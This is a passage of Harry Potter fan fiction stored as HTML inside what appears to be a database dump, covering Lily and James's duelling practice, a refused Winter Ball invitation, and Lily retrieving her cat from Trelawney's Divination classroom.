okay.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily&#8217;s head was resting on his shoulder and James twisted his neck to look at her. &quot;Is it important to you, Lily?&quot; he asked.</p>\n\n<p>&nbsp;</p>\n<p>The flickering of the blue fire gave his eyes the most bizarre expression and Lily gulped. &quot;Well I&#8230; I mean &#8230; it would be useful if I ever have to defend myself, you know &#8230; in case I meet some unfriendly wizard who will want to &#8230; to...&quot; She realised she was babbling and shut her mouth.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Is it important to you, Lily?&quot; James repeated quietly.</p>\n\n<p>&nbsp;</p>\n<p>Lily looked away from his gaze with difficulty and fixed her eyes on the fire. Her &#8216;yes&#8217; was barely whispered but James heard her.</p>\n\n<p>&nbsp;</p>\n<p>&quot;We can start tomorrow if you want. We&#8217;re playing Ravenclaw in the morning but we can meet in the Duelling classroom after lunch. I&#8217;ll ask Raven about it.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;What about the Prefect Meeting?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;It&#8217;s scheduled for five, we&#8217;ll have time.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Silence re-settled itself between the two friends, and it was Lily who broke it again.</p>\n\n<p>&nbsp;</p>\n<p>&quot;James?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Yes, Lily?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Thank you.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;You&#8217;re welcome.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>                                                      **************************************</p>\n\n<p>&nbsp;</p>\n<p>TBC&#8230;.</p>\n\n'),
	(170, 8, '\n\n<b><u>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Chapter 8 : Tombe la neige</p>\n</u></b>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Do you want to stop?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Panting, Lily looked up.  She was sprawled in a rather undignified position on the cold floor of the Duelling classroom, and she groaned as she sat up. &quot;I think that would be a wise decision,&quot; she said. &quot;Your last batch of hexes nearly finished me off.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, you&#8217;re still in one piece aren&#8217;t you?&quot; James smiled and pulled Lily up. </p>\n\n<p>&nbsp;</p>\n<p> &quot;One sweaty piece you mean,&quot; she said, brushing back a damp lock of red hair from her sweaty forehead. </p>\n\n<p>&nbsp;</p>\n<p>&quot;One sweaty piece,&quot; he admitted with a grin, withdrawing her wand from his pocket and handing it to her.</p>\n\n<p>&nbsp;</p>\n<p> The door opened just as Lily was about to perform a Freshening charm on herself, and Raven stepped into the classroom. </p>\n\n<p>&nbsp;</p>\n<p>&quot;I see Mr Potter still hasn&#8217;t managed to send you to the Hospital Wing, Miss Evans.&quot;</p>\n\n<p>&nbsp;</p>\n<p>There was no mockery or gentle teasing in his tone, he was just stating a fact. Come to think of it, Lily had never seen him smile a genuine smile; he always looked so serious and stern&#8230; The fact that he never wore anything but black robes didn&#8217;t help either. </p>\n\n<p>&nbsp;</p>\n<p>&quot;Let&#8217;s just hope it will stay that way,&quot; Lily answered, a bit uneasily. Raven had never come into his classroom during her and James&#8217; little sessions, and she was wondering how they could make an exit without being rude. But she needn&#8217;t have worried.</p>\n\n<p>&nbsp;</p>\n<p>&quot;You should go and change, Miss Evans,&quot; Raven said, his gaze sweeping down her dirty duelling uniform. &quot;I need to discuss something with Mr Potter.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily threw a curious glance at James as she turned on her heels. He didn&#8217;t look thrilled at this unexpected turn of events. Promising herself she would try to question him later on, she made her way to a door situated to the right of the main entrance to the classroom. As she opened it, she wondered not for the first time how many enchantments had been needed to create the sizeable girls&#8217; changing room that could be found behind it. By all rights she should have found herself in the corridor. The boys&#8217; was situated on the other side of the entrance door, and both rooms had been added after the students had received their duelling uniforms.</p>\n\n<p>&nbsp;</p>\n<p>Lily closed the door behind her. The room was narrow and quite bare. With its rows of pegs and wood benches lined up against the wall, it could have passed for a changing room you could find in any Muggle school had it not been for the rather unusual absence of shower stalls. Much to their delight, the students were allowed to perform Freshening charms on themselves to save time. It wasn&#8217;t as relaxing as a shower, but it was at least as efficient.</p>\n\n<p>&nbsp;</p>\n<p>There was a huge full-length mirror standing on the wall opposite the door, and Lily walked up to it. Trying to stay objective, she studied herself, and despite her sweaty face and dirty uniform, she liked what she saw. The uniform was white (and very prone to getting dirty upon hitting the ground) and felt like a second skin; in fact it looked much like the fencing attire Muggles wore, except that no mask was needed. Lily was never one to worry too much about appearances, but she thought that the month she had spent training with James had shaped her figure nicely.</p>\n\n<p>&nbsp;</p>\n<p>She waved her wand in a complicated pattern and watched in the mirror as her uniform returned to pristine white, and her skin and hair became dry and clean again. Her skill with charms had allowed her to tweak the spell a bit, and her hair now smelled of crushed raspberries. She brought a strand to her nose and smiled in appreciation. She hadn&#8217;t liked the apple scent of last week, but this one was perfect.</p>\n\n<p>&nbsp;</p>\n<p>She turned away from the mirror and walked to the place where she had left her school uniform. Her skirt, blouse and jumper were neatly folded on the bench, and her shoes and socks carefully arranged underneath. It was a habit of hers that her clothes always had to be folded and ordered. Her room at home could be quite messy, but there would never be a stray sock or a wandering shirt anywhere.</p>\n\n<p>&nbsp;</p>\n<p>As she slowly started to change she wondered what she was going to do until dinner. It was Tuesday, and she usually spent the afternoon the sixth year Gryffindors had free with Marian.</p>\n<p>But her friend had gone to Hogsmeade to see Belinda Browning once more, and Lily didn&#8217;t expect her to return until nightfall. Granted the sun set quite early in early December, but it wasn&#8217;t even two o&#8217;clock, and she had at least three hours before her. </p>\n\n<p>&nbsp;</p>\n<p>As she bent to put her shoes on she noticed a bruise starting to show on her shin, an unwelcome reminder of her close encounter with one of the classroom chairs during that last batch of curses James had thrown at her. He was becoming harder on her with each session, something she didn&#8217;t mind. The first lesson had been a bit awkward; it had seemed as if he had been afraid to hurt her. He didn&#8217;t have any qualms now, although she could see he was still being a bit cautious.</p>\n\n<p>&nbsp;</p>\n<p>Lily searched under the bench for her tie before remembering she had put it on the top of her robes on the peg. It only took her a few more seconds until she was finished with her dressing.</p>\n\n<p>&nbsp;</p>\n<p>She gave herself a once-over in the mirror to check if anything was amiss, and when she was satisfied, went back into the classroom. James was still there, leaning against one of the window frames, staring outside. Raven was nowhere in sight. His tie was loose and the first button of his shirt undone. Messy hair and glasses slightly askew completed the picture. Lily&#8217;s first thought upon seeing him like that was that he looked like he had just had a good snogging session, and she immediately slapped herself mentally for it. She did <i>not </i>need to think of him engaged in activities such as snogging. It was bad enough she&#8217;d been nearly drooling - along with most of the other girls - the first time she had seen him in his tight duelling uniform&#8230; Another slap. She didn&#8217;t need to go there either.</p>\n\n<p>&nbsp;</p>\n<p>Taking advantage of the fact that he was still unaware of her presence, she took her time to observe him. He was reasonably handsome&#8230; alright, he was<i> quite</i> handsome, and his gaze had a way of making a girl feel weak at the knees; it shouldn&#8217;t be allowed to be so &#8230; so &#8230; <i>entrancing. </i>Add to that the fact that it was pretty obvious he was a clever and powerful wizard, and you had a nice little package no girl at Hogwarts would mind receiving. </p>\n\n<p>&nbsp;</p>\n<p>Of course, Lily was not noting these things because she saw him as a potential boyfriend. Of course not. It wasn&#8217;t a crime to admit that one of your friends wasn&#8217;t hard on the eye. What did Marian call that again? Oh yes, &#8216;completely detached and objective appreciation&#8217;. Nothing wrong with that.</p>\n\n<p>&nbsp;</p>\n<p>As she stepped a bit closer to him, Lily noticed that his expression was gloomy and that he was glaring rather than staring at the view the window offered.</p>\n\n<p>&nbsp;</p>\n<p>&quot;James?&quot;</p>\n\n<p>&nbsp;</p>\n<p>James started and whipped his wand from his pocket in a flash, ready to throw a curse. He relaxed when he saw a shocked Lily standing a few feet away from him. &quot;Sorry,&quot; he muttered, lowering his wand. &quot;I&#8217;m a bit nervous these days.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;What did Raven want?&quot; Lily asked, still a bit shocked from his extreme reaction. </p>\n\n<p>&nbsp;</p>\n<p> &quot;You wouldn&#8217;t believe it.&quot; James gave a short laugh, but there was no mirth in it.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Try me.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James pocketed his wand and walked to the door. Lily followed; they knew they had to get out before the afternoon classes began.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Our dear teacher wanted to know what I was doing for the holidays. A commendable, if not slightly suspicious concern on his part.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;You don&#8217;t like him, do you?&quot;</p>\n\n<p>&nbsp;</p>\n<p>James sighed as he closed the heavy door. &quot;It&#8217;s his mysterious ways I don&#8217;t like. He&#8217;s always sweeping down the corridor in his black robes, trying to look broody and intimidating. He looks like an overgrown bat doing that, if you ask me.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily chuckled. &quot;An overgrown bat? Give him some credit. <i>Snape </i>looks like an overgrown bat when he&#8217;s prowling about on his Prefect&#8217;s rounds. Raven&#8217;s too attractive to look like a bat.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James was appalled. &quot;Attractive?!&quot; he spluttered. &quot;You find him attractive?!&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, you have to admit that -&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I don&#8217;t have to admit anything! Have you seen him when he&#8217;s angry, Lily? No? Well I have, and he looks like a bloody psychopath. It&#8217;s not a pretty sight.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;You don&#8217;t need to get all worked up like that. I don&#8217;t trust him any more than you do. But there&#8217;s no point in denying that he&#8217;s attractive.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James was about to cut in again, but Lily didn&#8217;t let him.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Don&#8217;t worry though.&quot; She patted him comfortingly on the shoulder. &quot;A lot of girls find you attractive too.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I don&#8217;t care about -&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Of course you care, James. Boys care about things like that. Case closed. Now, what about those holidays of yours?&quot; Lily hoped he would accept the change of subject; she had a favour to ask him and it wouldn&#8217;t do if he decided to sulk for the rest of the day..</p>\n\n<p>&nbsp;</p>\n<p>James was still a bit ruffled from the &#8216;attractive argument&#8217; but answered all the same, albeit somewhat gruffly. &quot;Nothing special, I&#8217;m going home. What about you?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Same.&quot; </p>\n\n<p>&nbsp;</p>\n<p>They walked in silence for a bit, and Lily started to twist the Pet Tracker nervously in her pocket. They were getting close to the portrait of the Fat Lady, and she had to ask him now. It had seemed so simple when she planned it in Herbology that morning&#8230;</p>\n\n<p>&nbsp;</p>\n<p>&quot;What is it Lily?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily jumped. &quot;What?&quot;</p>\n\n<p>&nbsp;</p>\n<p>James nodded towards her pocket. &quot;You&#8217;re fidgeting. You always fidget when you&#8217;re nervous about something.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Nervous? I&#8217;m not nervous.&quot; Lily smiled brightly, hastily removing her hand from her pocket. &quot;I was just thinking about something.&quot;</p>\n\n<p>&nbsp;</p>\n<p>They turned a corned and the portrait hole came into view. <i>Damn, too late for the indirect and insidious approach. Oh well, here goes nothing&#8230;</i></p><i>\n\n<p>&nbsp;</p>\n</i><p>&quot;Do you have a date for the Winter Ball, James?&quot; she asked, knowing very well he didn&#8217;t thanks to subtle questioning of Peter. The boy was decidedly a mine of information. </p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>James faltered in his steps. &quot;What?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily chanced a glance at him and saw that he was looking at her in a most peculiar way. &quot;Do you have a date for the ball?&quot; she repeated.</p>\n\n<p>&nbsp;</p>\n<p> &quot;I don&#8217;t,&quot; he answered slowly. &quot;The boys and I have decided to go dateless. There&#8217;ll be certain <i>things </i>that we&#8217;ll need to take care of and we don&#8217;t want to be stuck with dates.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The portrait hole was only a few feet away. It was time for something drastic.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Oh, well, I suppose you wouldn&#8217;t want to take me then&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n<p> As Lily had expected, James stopped abruptly. Complete bewilderment could be read on his face. Complete bewilderment and something else too. But intent on reciting her little speech from memory, Lily didn&#8217;t notice.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I wouldn&#8217;t be a burden though, you know. I&#8217;ll have some <i>things </i>that will need to be taken care of too; you&#8217;d be free to roam about with the boys.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The change in James&#8217; countenance was so subtle that Lily didn&#8217;t notice it. Only the observant but often overlooked guardian of Gryffindor Tower, the Fat Lady, saw the brief flashes of anger and then resignation pass across his handsome face.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Then why don&#8217;t you go alone too?&quot; he asked a bit coldly. </p>\n\n<p>&nbsp;</p>\n<p>&quot;Er&#8230; well, Howard has been asking me repeatedly to go with him, but I can&#8217;t. If I tell him I&#8217;m going with someone else, he&#8217;ll be disappointed but he&#8217;ll let it go. But if I show up without a date, it will seem suspicious and he&#8217;ll be angry. I still have some hope of bringing up the Muggle-born bashing issue and I can&#8217;t afford to have him angry with me.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;What &#8216;things&#8217; do you need to take care of during the ball?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily hadn&#8217;t planned on telling him that much, but things were not going as expected. &quot;It&#8217;s about Marian,&quot; she whispered, although the hallway was deserted. &quot;You&#8217;re one of the few who knows what happened this summer and how she doesn&#8217;t need to take another blow. She&#8217;s been ranting about the merits of her Charms tutor, Gregory Wentworth. I think she&#8217;s infatuated with him, and she&#8217;s going with him to the ball.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Your point is?&quot; James interrupted impatiently.</p>\n\n<p>&nbsp;</p>\n<p>&quot;My point is I found him snogging some Hufflepuff girl in a dark corner the other day!&quot; Lily exclaimed furiously. &quot;That boy is only going to end up hurting Marian very badly, and I need to look after her the night of the ball. I&#8217;ve made a few inquiries, and I found out that Wonderboy invariably tries to put the moves on a girl whenever pumpkin juice and butterbeer are flowing. It&#8217;s so easy to slip a drop of some potion or other in your date&#8217;s goblet. I&#8217;ll need to watch the bastard carefully. If all goes well, I&#8217;ll catch him red-handed, and Marian won&#8217;t suffer too much.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Then why don&#8217;t you watch him from Howard&#8217;s side? He and Wentworth are such <i>great </i>friends.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I&#8217;ve thought of that already. But I can&#8217;t&#8230; As you said, you have some duties towards your date. Howard will expect dances, walks outside and private conversations. All of that is highly incompatible with careful watching. Plus, he would notice straight away if my attention wanders.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily clearly saw the flash of anger passing across his eyes this time.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I see&#8230; so you prefer asking good ol&#8217; James. James who is always here when you need him. James who always helps. Of course he won&#8217;t ask you for dances, walks outside or private conversations; why would he? It&#8217;s so simple and easy to ask him!&quot;  </p>\n\n<p>&nbsp;</p>\n<p>James was ranting.</p>\n\n<p>&nbsp;</p>\n<p>Lily had never heard him do that before. She didn&#8217;t know what was worse - the ranting or the incredibly angry tone under which she could hear hurt. What had she said for him to get into that state? She couldn&#8217;t see any reason why he should get so worked up.</p>\n\n<p>&nbsp;</p>\n<p>&quot;But James, I thought you said you didn&#8217;t want a normal date because you had <i>things</i> you needed to do. It&#8217;s exactly what I want too. It would be a deal between friends. After all, I did the same for you once. Remember when you asked me to go to that fair in Hogsmeade so you wouldn&#8217;t have to go with Emma Rowland?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Surprised that she had just interrupted him in the middle of his tirade, James blurted out, &quot;But that was fourth year!&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;So?&quot;</p>\n\n<p>&nbsp;</p>\n<p>James looked at her for a moment, but he did not seem to see her at all, and his eyes were unfocused. It was unnerving. She couldn&#8217;t read anything in their dark blue depths, but it wasn&#8217;t because he was shielding his emotions from her. It was because there just was nothing in them. </p>\n\n<p>&nbsp;</p>\n<p>&quot;So nothing,&quot; he said softly. Then he blinked and snapped back to reality. &quot;I won&#8217;t go to that ball with you Lily. I&#8217;m sorry. I can&#8217;t see why Howard Clint would be so angry if you decided to go alone anyway. I&#8217;ve never seen him angry with you.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Oh.&quot; Lily really didn&#8217;t know what else to say. She wasn&#8217;t angry, just shocked. It was the first time James had refused her something she wanted from him. He always came round after some persuasion. &quot;Alright then.&quot; </p>\n\n<p>&nbsp;</p>\n<p>James looked at her strangely. &quot; &#8216;Alright then&#8217;?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily nodded. &quot;I think I&#8217;ll manage.&quot; She then turned towards the portrait and gave the password.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Lion&#8217;s lair.&quot; </p>\n\n<p>&nbsp;</p>\n<p>Once she was in the common room, she realised James hadn&#8217;t followed her.</p>\n\n<p>&nbsp;</p>\n<p>&quot;You&#8217;re not coming?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;No, I just wanted to walk you back to the common room. I have an appointment with Dumbledore.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily refrained from asking what it was about; she knew she wouldn&#8217;t get an answer.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I&#8217;ll see you later then.&quot;</p>\n\n<p>&nbsp;</p>\n<p>His answer was muffled by the screeching sound of the portrait swinging shut on its hinges. Clearly, the fifth year prefects in charge of the greasing had forgotten to do their jobs yet again. Sighing, she took out her wand and performed a quick charm. It would do the trick for a while.</p>\n\n<p>&nbsp;</p>\n<p>The common room was deserted, as the other years were in their afternoon classes. Marian was in Hogsmeade, Beth and Amy must be planning their precious ball somewhere, and the boys &#8230; well, Merlin knew where they were. She collapsed into a comfortable chair and murmured a lazy &#8216;<i>incendio&#8217;</i> to light the fire. It was rather chilly in the castle in December.</p>\n\n<p>&nbsp;</p>\n<p>She couldn&#8217;t believe how fast the time had flown: the Christmas holidays were less than a week away and she would soon find herself back in the Muggle world again. It was funny how she felt she didn&#8217;t belong there anymore. She had her family, who always welcomed her when she came back - with the notable exception of her sister Petunia. But she never felt quite at home any more in the pretty house in Hertfordshire. Although she loved the place very dearly, she couldn&#8217;t call Hogwarts her home either. In fact, she felt as if she were in limbo, waiting for the time when she would finally settle somewhere for good, with someone if possible.</p>\n\n<p>&nbsp;</p>\n<p>She&#8217;d had the &#8216;Raspberry Jam Dream&#8217; quite often since the beginning of the year, and she knew that was what she wanted and needed. But it was what it was: a dream, at least for now.</p>\n\n<p>&nbsp;</p>\n<p>Her case was not totally hopeless, though. She was a good student, and for the most part, liked what she was learning; she had friends&#8230;</p>\n\n<p>&nbsp;</p>\n<p>Speaking of friends, she would have to talk to Howard at dinner. James was right: he wouldn&#8217;t be too offended if she told him she was going to the ball alone. Marian&#8217;s well-being was very important to her, and she was going to make sure that nasty bastard Wentworth wouldn&#8217;t endanger it.</p>\n\n<p>&nbsp;</p>\n<p>There was also the &#8216;Remus case&#8217;. Lily still didn&#8217;t know what to do about that. Peter had held his tongue as promised, and none of the other boys knew that she knew. Should she interfere in their affairs? Normally she wouldn&#8217;t; she was curious, but not a compulsive snoop like that Rita Skeeter from Slytherin. But there was the issue of the boys&#8217; safety. She had discovered that all four beds were empty on the nights of the full moon. It could only mean that Remus had company wherever he was kept in confinement. It was utter madness on the boys&#8217; part. Unless they took steps to ensure their protection&#8230;</p>\n\n<p>&nbsp;</p>\n<p>A tapping on the window closest to her shook Lily from her thoughts. Puzzled, as she wasn&#8217;t expecting any mail, she opened the iron latch and found a big white owl waiting on the stone ledge. She recognised it instantly: it was the bird the pet shop in Diagon Alley used each year to send her the &#8216;Protection&#8217; package for her cat. Cl&#233;obulle wasn&#8217;t a magical species, and since you never knew what he could end up swallowing whilst at Hogwarts, he required some kind of special protection that had to be renewed yearly. </p>\n\n<p>&nbsp;</p>\n<p>Lily took the little package and the owl flew away immediately. Well, it would give her something to do... She decided to go and check to see if Cl&#233;obulle was in the dormitory, without much hope. At least she had the Pet Tracker now.</p>\n\n<p>&nbsp;</p>\n<p>As expected, she didn&#8217;t find her cat in the dorm. She still made the necessary preparations, which didn&#8217;t take long. Once she had fished the special metal bucket out from under her bed and filled it with water from the never-empty jug each dorm was provided with, she opened the package and sprinkled the fine powder it contained into the cold water. She muttered the incantation she had learned by heart four years ago, and the water started to tremble gently.</p>\n\n<p>&nbsp;</p>\n<p>There, the bath would be ready by the time she found her wayward cat. </p>\n\n<p>&nbsp;</p>\n<p>She took the velvet bracelet out of her pocket, and not quite sure about what to do with it, she passed it around her wrist. What had he told her again? To hold the charm in her palm? It seemed about right, and she closed her fingers around the shiny black marble.</p>\n\n<p>&nbsp;</p>\n<p> Nothing happened. </p>\n\n<p>&nbsp;</p>\n<p>Damn, how very Howard to give her a gift without the instructions. She racked her brain for a few minutes, trying to remember every wizarding object she had come into contact with since she&#8217;d started at Hogwarts, comparing the way they worked. It didn&#8217;t take her long to decide what she should do.</p>\n\n<p>&nbsp;</p>\n<p>She closed her eyes simply said, &quot;Cl&#233;obulle&quot; in a clear voice. She smiled as she felt the marble getting warm in her palm; there had been no need for instructions after all. </p>\n\n<p>&nbsp;</p>\n<p>The lids of her closed eyes were like the blank screens you found in Muggle cinemas, and soon a picture appeared against them. She had no trouble in finding what she wanted. The black coat of Cl&#233;obulle stood out quite vividly against the bright orange of the chair he was sleeping in. The little devil was spending the afternoon in the Divination classroom! A classroom which appeared to be empty for the moment.</p>\n\n<p>&nbsp;</p>\n<p> Lily didn&#8217;t fancy walking all the way up to the North Tower and back, but she had already prepared the protective solution and didn&#8217;t have a choice.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p align="CENTER">***  </p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily precariously opened the trapdoor and suppressed a grimace as she caught the heady scent of the incense that seemed to be perpetually burning in the classroom. Old Professor Trelawney didn&#8217;t to want to abandon his touring of the East, where he was happily predicting disasters to whoever required his services, and his daughter seemed to be at Hogwarts to stay. She had redecorated the classroom to her own tastes, draping chintz cloths over the lamps and &#8216;dressing&#8217; the windows with nearly opaque curtains, everything in the same tones of dark red. Strangely enough the atmosphere wasn&#8217;t oppressive, even with the ever-burning fire and the incense, but rather stuffy and made anyone drowsy in less than a minute. Lily hated the place.</p>\n\n<p>&nbsp;</p>\n<p>She spotted Cl&#233;obulle close to the fire. He was still asleep in the orange chair and seemed very much at home.</p>\n\n<p>&nbsp;</p>\n<p>She was about to cross the room to collect him when she heard the unwelcome sound of metal clinking: Trelawney&#8217;s precious jewellery. </p>\n\n<p>&nbsp;</p>\n<p>&quot;What can I do for you, my dear?&quot; the cricket-like woman asked in her misty voice. &quot;Is your Inner Eye troubling you?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily tried not to snort at the ludicrous idea of her &#8216;Inner Eye&#8217; ever troubling her. She greatly doubted she even had an &#8216;Inner Eye&#8217; in the first place. &quot;I&#8217;m just here to pick up my cat, Professor.&quot; </p>\n\n<p>&nbsp;</p>\n<p>Trelawney&#8217;s eyes grew wider - if that was possible - behind her glasses. &quot;Your cat?&quot; she said in an agitated voice. &quot;This is your cat?&quot; She began wringing her hands together causing her bracelets to clink madly. &quot;Yes, yes, take him away, he shouldn&#8217;t stay in my classroom, he disrupts the balance of energies. Take him away!&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;But why didn&#8217;t you throw him out before if he disturbed you?&quot; Lily asked, puzzled.</p>\n\n<p>&nbsp;</p>\n<p>Trelawney looked at her as if she had lost her mind. &quot;Throw him out?&quot; she screeched, her voice no longer misty. &quot;You don&#8217;t throw black cats out of a room if you want to live a long and serene life!&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily goggled. Even she hadn&#8217;t thought Trelawney could be so far gone that she would freak out like that. Her teacher was now looking fearfully at her cat as if he were some kind of demon coming straight from hell. For his part, Cl&#233;obulle - now awake and languidly stretching - was surveying the scene with an obvious disinterest. Lily tried to hide her grin as she walked up to her cat and picked him up from the chair.</p>\n\n<p>&nbsp;</p>\n<p>Seeing that the &#8216;thing&#8217; was under control, Trelawney calmed visibly. &quot;Well, of course you didn&#8217;t know about the danger he represents, dear,&quot; she said. &quot;We only study cats and their use in Divination in Seventh year. But do be careful around him, dear, I wouldn&#8217;t trust him if I were you.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The grin threatening to become a chuckle, Lily made her escape hastily. Going down the ladder with Cl&#233;obulle was tricky, but she managed, and she was soon laughing to herself in the empty corridors. Wait until she told Marian&#8230;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p align="CENTER">***</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Cl&#233;obulle knew what was going to happen to him as soon as Lily opened the door of the dormitory. Brimming with magic, the solution was now bubbling, and had turned to a shocking pink colour. </p>\n\n<p>&nbsp;</p>\n<p>&quot;There, sweetheart, we&#8217;ll have a nice little bath now. Remember how we take one every year?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Cl&#233;obulle remembered only too well and frantically clawed his way out of his mistress&#8217; arms. Once free he made a beeline for the nearest bed and squeezed under it as fast as he could.</p>\n\n<p>&nbsp;</p>\n<p>Lily tutted and pulled her wand out. &quot;I&#8217;ll have you know that I&#8217;m highly disappointed in you, Cl&#233;obulle,&quot; she said conversationally, kneeling on the ground and peering under the bed. She could see his eyes glowing like two small lamps in the darkness. &quot;I had hoped we could do things differently this year, but alas&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n<p>There was a noise and the door of the dormitory opened suddenly. Cl&#233;obulle shot from under the bed and flew like an arrow toward his salvation. He was Petrified just as the tips of its whiskers brushed the door.</p>\n\n<p>&nbsp;</p>\n<p>There was a soft laugh and the newcomer picked up the poor cat from the ground. &quot;I see your aim is as good as ever, Lily.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily smiled. &quot;I do my best.&quot; She then got up and brushed some dust off her robes. &quot;What are you doing here so early, Marian? I wasn&#8217;t expecting you until much later.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Marian put the stiff Cl&#233;obulle under her left arm and closed the door with the other. &quot;Belinda had an important appointment and I didn&#8217;t stay long.&quot; She walked over to her bed and dropped her school bag and Cl&#233;obulle on it. The heavy bag didn&#8217;t bounce, and neither did Cl&#233;obulle. &quot;Merlin, Lily! What have you been feeding this cat? I swear he is heavier than <i>Hogwarts: a History</i>!&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I know. I had to carry him all the way from the Divination classroom, and I could hardly feel my arms when we arrived at the portrait.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;The Divination classroom?&quot; Marian lifted a brow.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Long story, but you should enjoy it.&quot; Lily picked up Cl&#233;obulle from the bed and brought him to the water bucket. She looked into his frantic eyes and sighed; he was a very resentful creature, and she was sure she wouldn&#8217;t see him for a week after this was finished. Well, it was for his own good anyway, she thought as she lowered him carefully into the water. The solution was activated as soon as Cl&#233;obulle was immersed up to his neck into it. It started to sizzle and little sparks began to fly everywhere. The poor dear had to marinate in there for quite a while.</p>\n\n<p>&nbsp;</p>\n<p>Lily went back to Marian, who was waiting expectantly on her bed, and made herself comfortable.</p>\n\n<p>&nbsp;</p>\n<p>&quot;It all started with that gift Howard gave me for my birthday&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p align="CENTER">***</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>By the time diner came around, Cl&#233;obulle was Unpetrified, charmed dry and already sulking somewhere in the castle.</p>\n\n<p>&nbsp;</p>\n<p> It was the same scene every year since she had got him, and Lily wasn&#8217;t worried. She was thinking of what she would tell Howard. She spotted him at the Ravenclaw table, and keeping her eyes trained on him, she tried several different conversations in her head. When he finally looked up from his apple pie and noticed her staring at him, she had not yet found a suitable one. </p>\n\n<p>&nbsp;</p>\n<p>She was rather surprised to see him get up and nod toward the doors, silently asking her to follow him out of the hall. Marian was recounting Trelawney&#8217;s encounter with Cl&#233;obulle to the boys, and Lily was able to slip out of her seat unnoticed. She wished she could have stayed a little longer though, as Marian always did great imitations of her least favourite teacher.</p>\n\n<p>&nbsp;</p>\n<p>&quot;What is it, Howard?&quot; Lily asked when she arrived in the Entrance Hall.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I wanted to talk to you about Gregory Wentworth,&quot; Howard whispered, looking around him to see if anyone was eavesdropping.</p>\n\n<p>&nbsp;</p>\n<p>Lily&#8217;s ears perked up. &quot;What about him?&quot; She tried to keep her voice casual.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Gregory is a good friend of mine but he &#8230; well, he has a certain reputation with &#8230; with&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;With girls?&quot; Lily provided helpfully.</p>\n\n<p>&nbsp;</p>\n<p>Howard nodded. 